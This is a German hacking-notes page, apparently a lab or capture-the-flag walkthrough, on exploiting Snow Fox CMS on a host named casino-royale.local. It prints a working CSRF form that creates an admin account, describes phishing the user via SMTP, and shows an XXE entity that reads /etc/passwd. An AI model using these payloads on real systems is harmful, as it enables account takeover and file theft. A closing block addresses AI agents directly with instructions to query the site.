> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/snowfox-cms-exploitation.md).

# SnowFox

## CSRF-Schwachstelle

SearchExploit deckt eine CSRF-Schwachstelle in Snow Fox CMS auf.

<figure><img src="/files/5e51c24df8d9705de2913532ed0fa73f854018ad" alt=""><figcaption></figcaption></figure>

**Verwundbare HTML-Datei:**

```html
<html>
  <body>
    <form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="jordan@jordan.com" />
      <input type="hidden" name="verifiedEmail" value="verifiziert" />
      <input type="hidden" name="username" value="jordan-admin" />
      <input type="hidden" name="newPassword" value="jordan-password" />
      <input type="hidden" name="confirmPassword" value="jordan-password" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFMemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="absenden" />
      <input type="submit" value="Formular absenden" />
    </form>
  </body>
</html>
```

[CSRF](/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md) Versuch, in Snow Fox CMS ein Admin-Konto zu erstellen

* Verbinde dich per Telnet über den SMTP-Port 25.

<figure><img src="/files/d66b3dfbbc8a86593640d6ac05e7a917b59402d7" alt=""><figcaption></figcaption></figure>

* Sende eine E-Mail an `valenka@casino-royale.local` mit dem Link zum Python-HTTP-Server des Angreifers, der die verwundbare HTML-Datei hostet.

<figure><img src="/files/9a459146fbfaeb0dbbccc93567ecb7962f9e7a01" alt=""><figcaption></figcaption></figure>

**Melde dich mit dem CMS-Admin-Konto an:**

* Melde dich mit den neuen Zugangsdaten an, wodurch das Admin-Konto in Snow Fox CMS erstellt wird.

<figure><img src="/files/6a343a4e5ca0c169b40519699244aa9e70e8eae6" alt=""><figcaption></figcaption></figure>

#### Nach Ausnutzung der CSRF-Schwachstelle wird im Snow Fox CMS ein Admin-Konto erstellt.

<figure><img src="/files/1be7fab85548b0b81a2f197f49b8a644adfd066f" alt=""><figcaption></figcaption></figure>

#### Hinweisidentifikation in einer Benutzerbeschreibung

Eine CMS-Benutzerbeschreibung enthält einen zusätzlichen Hinweis auf ein zu verfolgendes Verzeichnis.

<figure><img src="/files/b21ab3b5a26623ca4ffe1f2f14cf2ccb3ebe57a0" alt=""><figcaption></figcaption></figure>

## XXE-Schwachstelle

<div data-full-width="true"><figure><img src="/files/eaf6cb5a4aacf83926361849cb03f5268c5c54e0" alt=""><figcaption></figcaption></figure></div>

#### Quellcodeanalyse der mit Burp Suite abgefangenen XML-Struktur

<figure><img src="/files/017cc57d2ac881ea2fe2e1791993dd2dc6d09b24" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b8485d1e6b499cdfd0244bd08fdf02c09b190c87" alt=""><figcaption></figcaption></figure>

#### XXE-Angriffsversuch (XML External Entity Injection)

* Ändere die Anfragemethode von GET zu POST.

<figure><img src="/files/1369f6e427419eeaef05ccff47583b13b57b52f8" alt=""><figcaption></figcaption></figure>

* Versuche, eine XXE-Vorlage in die POST-Anfrage einzuschleusen.

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		Jordan
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* Beobachte, wie der Server die XXE-Vorlage interpretiert.

<figure><img src="/files/8da123eb5a433e3846a9e1332eba54b892d3f0e3" alt=""><figcaption></figcaption></figure>

* Um auf Systemdateien zuzugreifen, erstelle eine neue **Entität**, zum Beispiel `myFile`: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>`

Dann sende das Ergebnis in einer Variablen mit `&myFile` wie folgt:

<figure><img src="/files/3510550b97b2f410c40c1af57ca2239688e7d17b" alt=""><figcaption></figcaption></figure>

#### Identifizierung des `ftpUserULTRA` Benutzer

<figure><img src="/files/cc71fb6760d12141ce50ca990057debcec063ee8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/snowfox-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
